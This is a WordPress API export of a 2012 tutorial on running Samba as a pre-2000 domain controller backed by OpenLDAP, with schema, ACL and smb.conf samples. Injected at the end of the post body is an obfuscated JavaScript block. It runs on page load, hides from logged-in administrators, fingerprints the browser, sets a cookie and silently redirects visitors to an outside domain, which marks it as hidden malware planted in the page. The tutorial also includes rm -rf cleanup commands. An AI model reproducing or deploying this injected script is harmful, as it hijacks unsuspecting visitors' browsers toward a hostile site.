{"id":359,"date":"2012-04-15T23:35:59","date_gmt":"2012-04-15T15:35:59","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=359"},"modified":"2012-04-15T23:35:59","modified_gmt":"2012-04-15T15:35:59","slug":"samba-as-a-pdc-for-pre-2k-domain","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/04\/15\/samba-as-a-pdc-for-pre-2k-domain\/","title":{"rendered":"Samba as a PDC for pre 2k domain"},"content":{"rendered":"<p>In conclude, our setup should meet the following requirement:<\/p>\n<ul>\n<li>ADS domain controller is not supported<\/li>\n<li>Domain user DB is stored in the LDAP<\/li>\n<li>User entries are shared with UNIX<\/li>\n<li>Password of the user for windows &#038; Linux are synchronized<\/li>\n<li>Domain group is supported<\/li>\n<\/ul>\n<p><!--more--><br \/>\nStoring user DB in LDAP could have a lot of benefit, such as, as a replacement for NIS and propagate the user DB to other SAMBA BDC if you want to do so.<\/p>\n<h1>Perpetration<\/h1>\n<p>You should install OpenLDAP and included proper schema, setup necessary ACL, install pam_ldap (optional) and nss_ldap (must).  For details, please refer to the following posts as reference:<\/p>\n<ul>\n<li><a href=\"http:\/\/www.q-station.net\/kb\/index.php\/2012\/02\/13\/openldap-building-and-configuration\/\" title=\"openldap building and configuration\">Openldap building and configuration<\/a><\/li>\n<li><a href=\"http:\/\/www.q-station.net\/kb\/index.php\/2012\/02\/15\/configuring-openldap-as-a-replacement-for-nis\/\" title=\"Configuring OpenLDAP as a replacement for NIS\">Configuring OpenLDAP as a replacement for NIS<\/a><\/li>\n<\/ul>\n<h1>More configuration on OpenLDAP for Samba<\/h1>\n<h2>Schema setup<\/h2>\n<p>Your OpenLDAP should already included the following schema:<\/p>\n<ul>\n<li>core<\/li>\n<li>consine<\/li>\n<li>inetorgperson<\/li>\n<li>nis<\/li>\n<\/ul>\n<p>You should include samba schema, \/usr\/doc\/samba-3.5.10\/examples\/LDAP\/samba.schema, into your LDAP.<\/p>\n<p>As recently, OpenLDAP has changed the configuration backend from file into LDAP.  You can&#8217;t simply put &#8216;include \/usr\/doc\/samba-3.5.10\/examples\/LDAP\/samba.schema&#8217; into slapd.conf to make the schema available.<\/p>\n<p>Following steps help to convert the samba.schema file into LDIF and let you import into the configuration backend.<\/p>\n<ul>\n<li>mkdir tmp.d<\/li>\n<li>create file samba-config.conf\n<pre>\r\ninclude \/usr\/local\/openldap\/etc\/openldap\/schema\/core.schema\r\ninclude \/usr\/local\/openldap\/etc\/openldap\/schema\/cosine.schema\r\ninclude \/usr\/local\/openldap\/etc\/openldap\/schema\/inetorgperson.schema\r\ninclude \/usr\/local\/openldap\/etc\/openldap\/schema\/nis.schema\r\ninclude \/usr\/doc\/samba-3.5.10\/examples\/LDAP\/samba.schema\r\n<\/pre>\n<\/li>\n<li>Execute the following\n<pre>\r\n\/usr\/local\/openldap\/sbin\/slaptest -f samba-config.conf -F .\/tmp.d\r\n<\/pre>\n<\/li>\n<li>The converted samba schema should be in &#8216;tmp.d\/cn=config\/cn=schema\/cn={4}samba.ldif&#8217;, now you should change the dn &#038; cn in the LDIF file as follow:\n<pre>\r\ndn: cn=samba,cn=schema,cn=config\r\n...\r\ncn: samba\r\n<\/pre>\n<p>and remove the following in the LDIF file<\/p>\n<pre>\r\nstructuralObjectClass: olcSchemaConfig\r\nentryUUID: b53b75ca-083f-102d-9fff-2f64fd123c95\r\ncreatorsName: cn=config\r\ncreateTimestamp: 20080827045234Z\r\nentryCSN: 20080827045234.341425Z#000000#000#000000\r\nmodifiersName: cn=config\r\nmodifyTimestamp: 20080827045234Z\r\n<\/pre>\n<\/li>\n<li>import the LDIF into cn=config\n<pre>\r\nldapadd -h 127.0.0.1 -D 'cn=Manager,cn=config' -w xxxx -f '.\/tmp.d\/cn=config\/cn=schema\/cn={4}samba.ldif'\r\n<\/pre>\n<\/li>\n<\/ul>\n<h2>Setup Index<\/h2>\n<p>You may take the following index configuration in cn=config as reference<\/p>\n<pre>\r\nolcDbIndex: objectClass pres,eq\r\nolcDbIndex: uid pres,eq,sub\r\nolcDbIndex: mail pres,eq,sub\r\nolcDbIndex: cn pres,eq,sub\r\nolcDbIndex: sn pres,eq,sub\r\nolcDbIndex: displayName pres,eq,sub\r\nolcDbIndex: uidNumber eq\r\nolcDbIndex: gidNumber eq\r\nolcDbIndex: loginShell eq\r\nolcDbIndex: memberUid eq,pres,sub\r\nolcDbIndex: uniqueMember eq,pres\r\nolcDbIndex: sambaSID eq\r\nolcDbIndex: sambaPrimaryGroupSID eq\r\nolcDbIndex: sambaGroupType eq\r\nolcDbIndex: sambaSIDList eq\r\nolcDbIndex: sambaDomainName eq\r\nolcDbIndex: default sub\r\n<\/pre>\n<h2>Create Samba Manager in LDAP<\/h2>\n<ul>\n<li>You should create a security object in LDAP for Samba to access and update the LDAP\n<pre>\r\ndn: cn=sambaManager,ou=systemObject,dc=example,dc=net\r\nobjectClass: top\r\nobjectClass: simpleSecurityObject\r\nobjectClass: organizationalRole\r\ncn: sambaManager\r\nuserPassword: {SSHA}fdshfjhfjkwefsfdsf\r\n<\/pre>\n<\/li>\n<li>Setup ACL in LDAP for sambaManager, suggested ACL\n<pre>\r\ndn: olcDatabase={1}bdb, cn=config\r\nchangetype: modify\r\nreplace: olcAccess\r\nolcAccess: to attrs=userpassword by self write\r\n  by dn=\"cn=libnssManager,ou=systemObject,dc=....\" read\r\n  by dn=\"cn=sambaManager,ou=systemObject,dc=...\" write\r\n  by anonymous auth\r\n  by * none\r\nolcAccess: to attrs=SambaLMPassword,SambaNTPassword by self write\r\n  by dn=\"cn=sambaManager,ou=systemObject,dc=...\" write\r\n  by * none\r\nolcAccess: to * by self write \r\n  by dn=\"cn=sambaManager,ou=systemObject,dc=...\" write\r\n  by dn=\"cn=libnssManager,ou=systemObject,dc=...\" read\r\n  by dn=\"cn=pamManager,ou=systemObject,dc=...\" read\r\n  by dn=\"cn=squidCacheManger,ou=systemObject,dc=...\" read\r\n  by dn=\"cn=readOnlyAccess,ou=systemObject,dc=...\" read\r\n  by users read\r\n  by anonymous auth\r\n  by * none\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>smbldap-tools<\/h1>\n<p>A set of perl scripts to maintain the LDAP user database.  You may download the tools on their <a href=\"https:\/\/gna.org\/projects\/smbldap-tools\/\">website<\/a> and install with following procedures:<\/p>\n<pre>\r\n.\/configure (--prefix=\/usr\/local\/smbldap)\r\nmake\r\nmake install\r\n<\/pre>\n<h1>Samba installation &#038; configuration<\/h1>\n<p>After finishing the LDAP preparation, you could compile and install a Samba from source yourself, or as my setup is simply configure the Samba package in the Slackware distribution.<\/p>\n<h2>Sample \/etc\/samba\/smbusers<\/h2>\n<pre>\r\nroot = administrator admin\r\nnobody = guest pcguest smbguest\r\n<\/pre>\n<h2>Sample \/etc\/samba\/smb.conf<\/h2>\n<pre>\r\n[global]\r\nusername map = \/etc\/samba\/smbusers\r\nworkgroup = EXAMPLE\r\nnetbios name = machine1\r\nsecurity = user\r\ndomain master = yes\r\nlocal master = yes\r\npreferred master = yes\r\nos level = 65\r\n#hosts allow = 127.0.0.1 192.168.0.0\/16\r\n#hosts deny = 0.0.0.0\/0\r\ninterfaces = eth0 lo\r\nbind interfaces only = yes\r\nname resolve order = wins lmhosts hosts bcast\r\ndomain logons = yes\r\nwinbind enum groups = yes\r\nwinbind enum users = yes\r\nencrypt passwords = true\r\n\r\nadd user script = \/usr\/local\/smbldap\/sbin\/smbldap-useradd -m '%u' -t 1\r\nrename user script = \/usr\/local\/smbldap\/sbin\/smbldap-usermod -r '%unew' '%uold'\r\ndelete user script = \/usr\/local\/smbldap\/sbin\/smbldap-userdel '%u'\r\nset primary group script = \/usr\/local\/smbldap\/sbin\/smbldap-usermod -g '%g' '%u'\r\nadd group script = \/usr\/local\/smbldap\/sbin\/smbldap-groupadd -p '%g'\r\ndelete group script = \/usr\/local\/smbldap\/sbin\/smbldap-groupdel '%g'\r\nadd user to group script = \/usr\/local\/smbldap\/sbin\/smbldap-groupmod -m '%u' '%g'\r\ndelete user from group script = \/usr\/local\/smbldap\/sbin\/smbldap-groupmod -x '%u' '%g'\r\nadd machine script = \/usr\/local\/smbldap\/sbin\/smbldap-useradd -w '%u' -t 1\r\n\r\npassdb backend = ldapsam:ldap:\/\/127.0.0.1\r\nldap suffix = dc=q-station,dc=net\r\nldap user suffix = ou=people\r\nldap group suffix = ou=group\r\nldap machine suffix = ou=computers\r\nldap idmap suffix = ou=idmap\r\nldap admin dn = cn=sambaManager,ou=systemObject,dc...\r\nldap ssl = off\r\nldap passwd sync = yes\r\nldap delete dn = no\r\n\r\nidmap backend = tdb\r\nidmap uid = 500001-600000\r\nidmap gid = 500001-600000\r\nidmap config EXAMPLE : backend = nss\r\nidmap config EXAMPLE : range = 50000-500000\r\n\r\nlogon path = \\\\%L\\profiles\\%U\\%a\r\nlogon home = \\\\%L\\%U\\.9xprofile\r\nlogon drive = P: \r\n\r\nlog file = \/var\/log\/samba\/samba.log\r\nlog level = 1\r\nmax log size = 1024\r\ndebug timestamp = yes\r\n\r\n[netlogon]\r\ncomment = Network Logon Service\r\npath = \/var\/lib\/samba\/netlogon\r\nguest ok = Yes\r\nbrowseable = No\r\nread only = yes\r\n\r\n[homes]\r\n   comment = Home Directory\r\n   read only = No\r\n   browseable = No\r\n   valid users = %S\r\n\r\n[profiles]\r\n    comment = Network Profiles Share\r\n    path = \/var\/lib\/samba\/profiles\r\n    read only = No\r\n    store dos attributes = Yes\r\n    create mask = 0600\r\n    directory mask = 0700\r\n    browseable = no\r\n    guest ok = no\r\n    printable = no\r\n    profile acls = yes\r\n    csc policy = disable \r\n<\/pre>\n<h2>Create necessary directory<\/h2>\n<pre>\r\nmkdir -p \/var\/lib\/samba\/netlogon\/scripts\r\nmkdir -p \/var\/lib\/samba\/profiles\r\nchown root:root \/var\/lib\/samba\/profiles\r\nchmod 1777 \/var\/lib\/samba\/profiles\r\n<\/pre>\n<h1>Initialize &#038; 1st time running your SAMBA<\/h1>\n<p>Your Samba may have been start-up before and it may left some cache or may be some other data before.  Following procedure will help you remove all the cache left behind and all of the samba DB.  Please execute the following with CAUTION and ensure what you are doing.<\/p>\n<pre>\r\nsh \/etc\/rc.d\/rc,samba stop\r\nkill `cat \/var\/run\/winbindd.pid`\r\nrm -rf \/var\/cache\/samba\/*\r\nrm -rf \/etc\/samba\/private\/*\r\nsmbpasswd -w <Your SambaManager password>\r\nsh \/etc\/rc.d\/rc.samba start\r\nrunning smbldap-config.cmd in the smbldap source directory to configure your smblpda-installation\r\n(For slackware, you may use <strong>CRYPT<\/strong> as password encryption and <strong>%2s<\/strong> as crypt salt format)\r\n\/usr\/local\/smbldap\/sbin\/smbldap-populate (initialize your samba with necessary group \/ users)\r\nsh \/etc\/rc.d\/rc.samba restart\r\nwinbindd\r\n<\/pre>\n<p>Now, your initialize configuration have been finished.  You could further read other post about managing your Domain User DB \/ Groups.  Following commands, may help you proofing your setup is well.<\/p>\n<pre>\r\nnet groupmap list (output group mapping between Samba & your Linux)\r\npdbedit -Lv (list out Samba user in LDAP)\r\nnet rpc group list (list out all Domain\/Local groups for Samba)\r\nnet rpc user (list out all domain user)\r\n<\/pre>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In conclude, our setup should meet the following requirement: ADS domain controller is not supported Domain user DB is stored in the LDAP User entries are shared with UNIX Password of the user for windows &#038; Linux are synchronized Domain group is supported<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[52,27,8],"tags":[11,55,53],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/359"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=359"}],"version-history":[{"count":29,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/359\/revisions"}],"predecessor-version":[{"id":403,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/359\/revisions\/403"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=359"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=359"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=359"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}